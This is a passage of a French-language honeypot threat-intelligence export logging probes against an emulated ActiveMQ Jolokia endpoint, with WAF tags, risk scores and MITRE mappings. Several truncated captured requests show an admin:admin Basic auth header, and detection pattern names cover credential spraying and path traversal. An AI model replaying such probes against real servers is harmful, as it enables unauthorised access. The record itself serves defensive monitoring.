"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
